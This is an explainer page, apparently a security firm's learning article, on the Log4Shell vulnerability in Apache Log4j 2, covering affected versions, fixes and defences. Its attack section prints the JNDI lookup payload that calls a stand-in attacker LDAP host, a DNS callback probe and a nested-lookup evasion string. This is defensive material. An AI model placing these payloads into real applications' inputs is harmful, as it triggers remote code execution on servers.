

# What is Log4Shell?

Log4Shell is the name for CVE-2021-44228, a CVSS 10.0 remote code execution flaw in Apache Log4j 2 (2.0-beta9 to 2.14.1) disclosed in December 2021. Log4j evaluated lookup expressions inside logged messages, so an attacker who got a string like `${jndi:ldap://attacker/a}` logged, through a header, username or form field, made the server fetch and run remote Java code. Fixed fully by Log4j 2.17.1 and later (2.12.4 for Java 7, 2.3.2 for Java 6). It remains one of the most exploited vulnerabilities on record.

## HOW IT WORKS

### 01 How the attack works

Shown for defensive context, the classic probe is a single string placed anywhere an app might log it:

- Payload: `${jndi:ldap://attacker.example/a}` in a User-Agent header, a login username, a search box or a chat message.
- What happens: Log4j logs the string, expands the lookup, connects to the attacker's LDAP server and receives a reference to a remote Java class that the server then loads and runs.
- Detection probes used by testers and attackers alike swap the LDAP server for a DNS callback, such as `${jndi:dns://unique-id.collaborator.example}-`, to confirm the lookup fires without running code.
- Evasion: nested lookups like `${lower:j}ndi:...}` defeated simple string-matching rules, which is why WAF filters alone were never enough.

The first fix, 2.15.0, was incomplete. CVE-2021-45046 and CVE-2021-45105 followed, then CVE-2021-44832, before 2.17.1 closed the chain.

## HOW TO DEFEND

- Upgrade Log4j to 2.17.1 or later on Java 8+, 2.12.4 on Java 7 or 2.3.2 on Java 6. Older mitigations such as `formatMsgNoLookups` are not sufficient.
- Find every copy. Search build files and also scan compiled artifacts and container images for `log4j-core` JARs, including copies shaded inside other JARs. Vendor appliances need vendor patches.
- Restrict outbound traffic from servers. The attack needs the server to reach the attacker's LDAP or RMI host; default-deny egress breaks the chain.
- Hunt for historical `${jndi:}` strings in web and application logs and for outbound LDAP connections from servers that should not make them.

## SOURCES

- [1] Apache Log4j security vulnerabilities
- [2] NVD: CVE-2021-44228
- [3] CISA: Apache Log4j vulnerability guidance
- [4] MITRE CWE-917: Expression Language Injection

Find the path to a shell before an attacker does.

[securelayer7.net/learn/web-exploitation/what-is-log4shell](https://securelayer7.net/learn/web-exploitation/what-is-log4shell)

[Open online](https://securelayer7.net/learn/web-exploitation/what-is-log4shell)